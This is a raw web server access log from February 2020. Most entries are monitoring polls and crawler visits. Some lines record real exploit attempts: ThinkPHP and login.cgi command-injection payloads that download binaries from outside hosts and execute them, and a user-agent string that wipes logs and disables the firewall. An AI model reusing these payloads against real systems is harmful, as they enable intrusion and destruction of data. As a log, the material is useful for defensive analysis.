212.91.246.72 - - [25/Feb/2020:10:56:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:57:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [25/Feb/2020:10:58:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [25/Feb/2020:10:58:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:59:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.72.214.224 - - [25/Feb/2020:10:59:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:11:00:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:01:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:02:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.235.183.244 - - [25/Feb/2020:11:02:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:11:03:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:04:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.209.248.201 - - [25/Feb/2020:11:05:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
134.35.194.81 - - [25/Feb/2020:11:05:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [25/Feb/2020:11:05:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:06:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:07:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:08:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.24.145.148 - - [25/Feb/2020:11:08:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [25/Feb/2020:11:09:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:10:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.229.147.193 - - [25/Feb/2020:11:10:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [25/Feb/2020:11:11:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:12:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.33.112.155 - - [25/Feb/2020:11:12:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [25/Feb/2020:11:13:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:14:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.16.119.96 - - [25/Feb/2020:11:14:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
81.16.119.96 - - [25/Feb/2020:11:14:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [25/Feb/2020:11:15:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:16:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.12.227.77 - - [25/Feb/2020:11:17:28 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:11:17:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:18:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:19:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:20:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:21:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.41.146.53 - - [25/Feb/2020:11:22:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:11:22:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:23:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:24:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:25:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:26:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:27:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.148.197 - - [25/Feb/2020:11:28:25 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [25/Feb/2020:11:28:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [25/Feb/2020:11:28:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [25/Feb/2020:11:28:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [25/Feb/2020:11:28:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [25/Feb/2020:11:29:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:30:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:31:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:32:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:33:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:34:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:35:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:36:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:37:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
64.227.55.76 - - [25/Feb/2020:11:37:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [25/Feb/2020:11:38:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:39:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:40:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:41:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:42:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:43:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:44:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:45:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:46:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [25/Feb/2020:11:47:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [25/Feb/2020:11:47:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:48:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:49:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:50:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:51:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:52:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:53:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:54:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [25/Feb/2020:11:55:04 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:11:55:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:56:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:57:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:58:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:11:59:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:00:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:01:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:02:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:03:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:04:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:05:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:06:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:07:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.76.130.165 - - [25/Feb/2020:12:07:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
175.136.121.33 - - [25/Feb/2020:12:08:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [25/Feb/2020:12:08:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:09:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:10:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.73.17.163 - - [25/Feb/2020:12:11:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:12:11:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:12:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:13:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:14:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.44.148.139 - - [25/Feb/2020:12:15:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:12:15:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:16:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:17:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:18:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:19:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.106.139.214 - - [25/Feb/2020:12:20:03 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:12:20:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.140.150 - - [25/Feb/2020:12:21:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [25/Feb/2020:12:21:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:22:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:23:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:24:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:25:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:26:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:27:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.137.74.191 - - [25/Feb/2020:12:28:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:12:28:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:29:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.208.182.202 - - [25/Feb/2020:12:29:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:12:30:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:31:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:32:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.29.170.111 - - [25/Feb/2020:12:32:51 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:12:33:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:34:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:35:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:36:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:37:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:38:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:39:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:40:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:41:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:42:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:43:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:44:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:45:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [25/Feb/2020:12:45:45 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
59.127.42.179 - - [25/Feb/2020:12:46:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:12:46:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.90 - - [25/Feb/2020:12:47:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [25/Feb/2020:12:47:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:12:48:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
